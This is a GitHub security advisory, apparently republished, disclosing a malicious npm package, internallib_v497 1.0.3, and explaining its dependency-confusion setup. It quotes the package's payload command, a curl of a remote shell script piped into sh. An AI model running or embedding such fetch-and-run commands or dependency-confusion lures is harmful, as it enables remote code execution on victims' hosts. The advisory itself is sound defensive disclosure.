# GHSA-M9WW-2R6Q-X632: Malicious code in internallib\_v497 (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-09-23
- Modified: 2026-09-23

## Affected versions

- internallib\_v497 (npm): 1.0.3

## Description

## Source: amazon-inspector (37d367008a98c6bac6f9018de18ff5a75917cad3031c6bca1e7d4e5e257d3505)
npm package internallib_v497@1.0.3 ships an index.js that exports a function which shell-executes `curl http://10.0.5.109/shell.sh | sh` via `child_process.exec('/bin/bash -c...')`, fetching an unauthenticated script over plain HTTP from a private RFC1918 address and piping it to a shell. Any consumer that requires the module and invokes the exported `command()` runs whatever code is served at 10.0.5.109 on the installer host. The package.json additionally declares its own name `internallib_v497` as a dependency (`^1.0.0`), matching the classic dependency-confusion bait shape: an organization that maintains a private package by this name and resolves it from the public npm registry will pull this artifact and execute its payload.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/c654723e238cbf7547b8e05e287837f94bfbbff0/osv/malicious/npm/internallib_v497/MAL-2026-16438.json))

## References

- https://github.com/ossf/malicious-packages/blob/c654723e238cbf7547b8e05e287837f94bfbbff0/osv/malicious/npm/internallib_v497/MAL-2026-16438.json
- https://www.npmjs.com/package/internallib_v497/v/1.0.3
- https://github.com/advisories/GHSA-m9ww-2r6q-x632

Page: https://cve.now/GHSA-M9WW-2R6Q-X632

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
